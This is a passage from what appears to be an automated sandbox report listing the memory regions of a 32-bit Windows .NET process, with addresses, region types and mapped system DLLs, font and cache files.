= 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a60000" filename = "" Region: id = 385 start_va = 0x70a90000 end_va = 0x70c80fff monitored = 0 entry_point = 0x70b73cd0 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\SysWOW64\\DWrite.dll" (normalized: "c:\\windows\\syswow64\\dwrite.dll") Region: id = 386 start_va = 0x764e0000 end_va = 0x765fefff monitored = 0 entry_point = 0x76525980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 387 start_va = 0x49d0000 end_va = 0x4a18fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-system.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-system.dat") Region: id = 388 start_va = 0x21a0000 end_va = 0x21a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 389 start_va = 0x4a70000 end_va = 0x5a6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-fontface.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-fontface.dat") Region: id = 390 start_va = 0x21c0000 end_va = 0x21c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 391 start_va = 0x5a70000 end_va = 0x5b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a70000" filename = "" Region: id = 392 start_va = 0x5b70000 end_va = 0x5c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b70000" filename = "" Region: id = 393 start_va = 0x5c70000 end_va = 0x6161fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005c70000" filename = "" Region: id = 394 start_va = 0x6170000 end_va = 0x622cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 395 start_va = 0x6230000 end_va = 0x662ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006230000" filename = "" Region: id = 396 start_va = 0x6630000 end_va = 0x670ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 397 start_va = 0x6710000 end_va = 0x67aefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariali.ttf" filename = "\\Windows\\Fonts\\ariali.ttf" (normalized: "c:\\windows\\fonts\\ariali.ttf") Region: id = 398 start_va = 0x67b0000 end_va = 0x684ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbi.ttf" filename = "\\Windows\\Fonts\\arialbi.ttf" (normalized: "c:\\windows\\fonts\\arialbi.ttf") Region: id = 399 start_va = 0x6850000 end_va = 0x788ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 400 start_va = 0x4720000 end_va = 0x4720fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 401 start_va = 0x7890000 end_va = 0x78f1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 402 start_va = 0x4730000 end_va = 0x473ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004730000" filename = "" Region: id = 403 start_va = 0x4750000 end_va = 0x475ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004750000" filename = "" Region: id = 404 start_va = 0x4760000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 405 start_va = 0x4750000 end_va = 0x475ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004750000" filename = "" Region: id = 406 start_va = 0x4760000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 407 start_va = 0x4880000 end_va = 0x488ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 408 start_va = 0x4890000 end_va = 0x489ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004890000" filename = "" Region: id = 409 start_va = 0x4760000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 410 start_va = 0x4880000 end_va = 0x48bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 411 start_va = 0x7900000 end_va = 0x79fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007900000" filename = "" Region: id = 412 start_va = 0x7a00000 end_va = 0x89fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a00000" filename = "" Region: id = 413 start_va = 0x8a00000 end_va = 0x8bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a00000" filename = "" Region: id = 414 start_va = 0x8be0000 end_va = 0x9bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008be0000" filename = "" Region: id = 415 start_va = 0x9be0000 end_va = 0x9f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009be0000" filename = "" Region: id = 416 start_va = 0x4760000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 417 start_va = 0x4760000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 418 start_va = 0x4760000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 419 start_va = 0x4a20000 end_va = 0x4a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 420 start_va = 0x9f90000 end_va = 0xa08ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f90000" filename = "" Region: id = 421 start_va = 0xa090000 end_va = 0xa0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a090000" filename = "" Region: id = 422 start_va = 0xa0d0000 end_va = 0xa1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a0d0000" filename = "" Region: id = 423 start_va = 0x4760000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004760000" filename = "" Region: id = 424 start_va = 0x4760000 end_va = 0x4762fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004760000" filename = "" Region: id = 425 start_va = 0x4880000 end_va = 0x488ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 426 start_va = 0x4880000 end_va = 0x488ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 427 start_va = 0x4880000 end_va = 0x488ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 428 start_va = 0x7900000 end_va = 0x797ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007900000" filename = "" Region: id = 429 start_va = 0xa1d0000 end_va = 0xa264fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a1d0000" filename = "" Region: id = 430 start_va = 0x6d0f0000 end_va = 0x6d262fff monitored = 0 entry_point = 0x6d19d220 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 431 start_va = 0xa270000 end_va = 0xa302fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a270000" filename = "" Region: id = 432 start_va = 0x4890000 end_va = 0x48bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004890000" filename = "" Region: id = 433 start_va = 0x4890000 end_va = 0x489ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004890000" filename = "" Region: id = 434 start_va = 0x48a0000 end_va = 0x48affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048a0000" filename = "" Region: id = 435 start_va = 0x48b0000 end_va = 0x48bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048b0000" filename = "" Region: id = 436 start_va = 0x20a0000 end_va = 0x2131fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020a0000" filename = "" Region: id = 437 start_va = 0x7980000 end_va = 0x798ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007980000" filename = "" Region: id = 438 start_va = 0x6c9d0000 end_va = 0x6d0edfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\4fbda26d781323081b45526da6e87b35\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\4fbda26d781323081b45526da6e87b35\\system.xml.ni.dll") Region: id = 439 start_va = 0x7990000 end_va = 0x799ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007990000" filename = "" Region: id = 440 start_va = 0x5e430000 end_va = 0x5e4cbfff monitored = 1 entry_point = 0x5e4be9a6 region_type = mapped_file name = "microsoft.visualbasic.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualBasic.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualbasic\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.visualbasic.dll") Region: id = 441 start_va = 0xa310000 end_va = 0xa3abfff monitored = 1 entry_point = 0xa39e9a6 region_type = mapped_file name = "microsoft.visualbasic.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualBasic.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualbasic\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.visualbasic.dll") Region: id = 442 start_va = 0x79a0000 end_va = 0x79affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079a0000" filename = "" Region: id = 443 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 444 start_va = 0x79c0000 end_va = 0x79cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079c0000" filename = "" Region: id = 445 start_va = 0x79d0000 end_va = 0x79dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079d0000" filename = "" Region: id = 446 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 447 start_va = 0x79f0000 end_va = 0x79fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079f0000" filename = "" Region: id = 448 start_va = 0xa3b0000 end_va = 0xa3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3b0000" filename = "" Region: id = 449 start_va = 0xa3c0000 end_va = 0xa3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3c0000" filename = "" Region: id = 450 start_va = 0xa3d0000 end_va = 0xa3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3d0000" filename = "" Region: id = 451 start_va = 0xa3e0000 end_va = 0xa3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3e0000" filename = "" Region: id = 452 start_va = 0xa3f0000 end_va = 0xa3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3f0000" filename = "" Region: id = 453 start_va = 0xa400000 end_va = 0xa40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a400000" filename = "" Region: id = 454 start_va = 0xa410000 end_va = 0xa41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a410000" filename = "" Region: id = 455 start_va = 0xa420000 end_va = 0xa42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a420000" filename = "" Region: id = 456 start_va = 0xa430000 end_va = 0xa43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a430000" filename = "" Region: id = 457 start_va = 0xa440000 end_va = 0xa44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a440000" filename = "" Region: id = 458 start_va = 0xa450000 end_va = 0xa45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a450000" filename = "" Region: id = 459 start_va = 0xa460000 end_va = 0xa46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a460000" filename = "" Region: id = 460 start_va = 0xa470000 end_va = 0xa47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a470000" filename = "" Region: id = 461 start_va = 0xa480000 end_va = 0xa48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a480000" filename = "" Region: id = 462 start_va = 0xa490000 end_va = 0xa49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a490000" filename = "" Region: id = 463 start_va = 0xa4a0000 end_va = 0xa4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a4a0000" filename = "" Region: id = 464 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 465 start_va = 0x79c0000 end_va = 0x79cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079c0000" filename = "" Region: id = 466 start_va = 0x79d0000 end_va = 0x79dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079d0000" filename = "" Region: id = 467 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 468 start_va = 0x79c0000 end_va = 0x79cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079c0000" filename = "" Region: id = 469 start_va = 0x79d0000 end_va = 0x79dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079d0000" filename = "" Region: id = 470 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 471 start_va = 0x79c0000 end_va = 0x79cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079c0000" filename = "" Region: id = 472 start_va = 0x79d0000 end_va = 0x79dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079d0000" filename = "" Region: id = 473 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 474 start_va = 0x79f0000 end_va = 0x79fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079f0000" filename = "" Region: id = 475 start_va = 0xa3b0000 end_va = 0xa3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3b0000" filename = "" Region: id = 476 start_va = 0xa3c0000 end_va = 0xa3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3c0000" filename = "" Region: id = 477 start_va = 0xa3d0000 end_va = 0xa3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3d0000" filename = "" Region: id = 478 start_va = 0xa3e0000 end_va = 0xa3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3e0000" filename = "" Region: id = 479 start_va = 0xa3f0000 end_va = 0xa3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3f0000" filename = "" Region: id = 480 start_va = 0xa400000 end_va = 0xa40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a400000" filename = "" Region: id = 481 start_va = 0xa410000 end_va = 0xa41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a410000" filename = "" Region: id = 482 start_va = 0xa420000 end_va = 0xa42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a420000" filename = "" Region: id = 483 start_va = 0xa430000 end_va = 0xa43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a430000" filename = "" Region: id = 484 start_va = 0xa440000 end_va = 0xa44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a440000" filename = "" Region: id = 485 start_va = 0xa450000 end_va = 0xa45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a450000" filename = "" Region: id = 486 start_va = 0xa460000 end_va = 0xa46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a460000" filename = "" Region: id = 487 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 488 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 489 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 490 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 491 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 492 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 493 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 494 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 495 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 496 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 497 start_va = 0x79b0000 end_va = 0x79bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079b0000" filename = "" Region: id = 498 start_va = 0x79c0000 end_va = 0x79cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079c0000" filename = "" Region: id = 499 start_va = 0x79c0000 end_va = 0x79cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079c0000" filename = "" Region: id = 500 start_va = 0x79c0000 end_va = 0x79cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079c0000" filename = "" Region: id = 501 start_va = 0x79d0000 end_va = 0x79dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079d0000" filename = "" Region: id = 502 start_va = 0x79c0000 end_va = 0x79cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079c0000" filename = "" Region: id = 503 start_va = 0xa3b0000 end_va = 0xa3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3b0000" filename = "" Region: id = 504 start_va = 0xa4a0000 end_va = 0xa59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a4a0000" filename = "" Region: id = 505 start_va = 0x79d0000 end_va = 0x79dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079d0000" filename = "" Region: id = 506 start_va = 0xa5a0000 end_va = 0xa69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a5a0000" filename = "" Region: id = 507 start_va = 0x74eb0000 end_va = 0x762aefff monitored = 0 entry_point = 0x7506b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 508 start_va = 0x76800000 end_va = 0x76836fff monitored = 0 entry_point = 0x76803b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 509 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 510 start_va = 0x880000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 511 start_va = 0x745b0000 end_va = 0x74aa8fff monitored = 0 entry_point = 0x747b7610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 512 start_va = 0x74520000 end_va = 0x745acfff monitored = 0 entry_point = 0x74569b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 513 start_va = 0x76470000 end_va = 0x764b3fff monitored = 0 entry_point = 0x76477410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 514 start_va = 0x73f20000 end_va = 0x73f2efff monitored = 0 entry_point = 0x73f22e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 515 start_va = 0x79d0000 end_va = 0x79d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000079d0000" filename = "" Region: id = 516 start_va = 0x6f7a0000 end_va = 0x6f7c7fff monitored = 0 entry_point = 0x6f7a7820 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 517 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 518 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 519 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 520 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 521 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 522 start_va = 0x6e6e0000 end_va = 0x6e750fff monitored = 0 entry_point = 0x6e7369e0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\SysWOW64\\efswrt.dll" (normalized: "c:\\windows\\syswow64\\efswrt.dll") Region: id = 523 start_va = 0x6f9a0000 end_va = 0x6fa67fff monitored = 0 entry_point = 0x6fa0ae90 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\SysWOW64\\WinTypes.dll" (normalized: "c:\\windows\\syswow64\\wintypes.dll") Region: id = 524 start_va = 0x6c980000 end_va = 0x6c9c8fff monitored = 0 entry_point = 0x6c986450 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\SysWOW64\\edputil.dll" (normalized: "c:\\windows\\syswow64\\edputil.dll") Region: id = 525 start_va = 0xa6a0000 end_va = 0xa79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a6a0000" filename = "" Region: id = 526 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 527 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 528 start_va = 0x6c860000 end_va = 0x6c97cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\98d3949f9ba1a384939805aa5e47e933\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\98d3949f9ba1a384939805aa5e47e933\\system.management.ni.dll") Region: id = 529 start_va = 0x79e0000 end_va = 0x79effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000079e0000" filename = "" Region: id = 530 start_va = 0xa3f0000 end_va = 0xa42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3f0000" filename = "" Region: id = 531 start_va = 0xa7a0000 end_va = 0xa89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7a0000" filename = "" Region: id = 532 start_va = 0x704d0000 end_va = 0x7061afff monitored = 0 entry_point = 0x70531660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 533 start_va = 0xa430000 end_va = 0xa46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a430000" filename = "" Region: id = 534 start_va = 0xa8a0000 end_va = 0xa99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a8a0000" filename = "" Region: id = 535 start_va = 0x79f0000 end_va = 0x79f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000079f0000" filename = "" Region: id = 536 start_va = 0x74340000 end_va = 0x743c3fff monitored = 0 entry_point = 0x74366220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 537 start_va = 0x6fdd0000 end_va = 0x6ffebfff monitored = 0 entry_point = 0x6ff9bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 538 start_va = 0xa470000 end_va = 0xa470fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a470000" filename = "" Region: id = 539 start_va = 0xa9a0000 end_va = 0xa9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a9a0000" filename = "" Region: id = 540 start_va = 0xa9e0000 end_va = 0xaadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a9e0000" filename = "" Region: id = 541 start_va = 0xa480000 end_va = 0xa483fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 542 start_va = 0xaae0000 end_va = 0xaaf3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 543 start_va = 0xab00000 end_va = 0xab3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab00000" filename = "" Region: id = 544 start_va = 0xab40000 end_va = 0xac3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab40000" filename = "" Region: id = 545 start_va = 0xac40000 end_va = 0xac40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ac40000" filename = "" Region: id = 546 start_va = 0xa480000 end_va = 0xa483fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 547 start_va = 0xac50000 end_va = 0xac94fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 548 start_va = 0xaca0000 end_va = 0xaca3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 549 start_va = 0xacb0000 end_va = 0xad3dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = 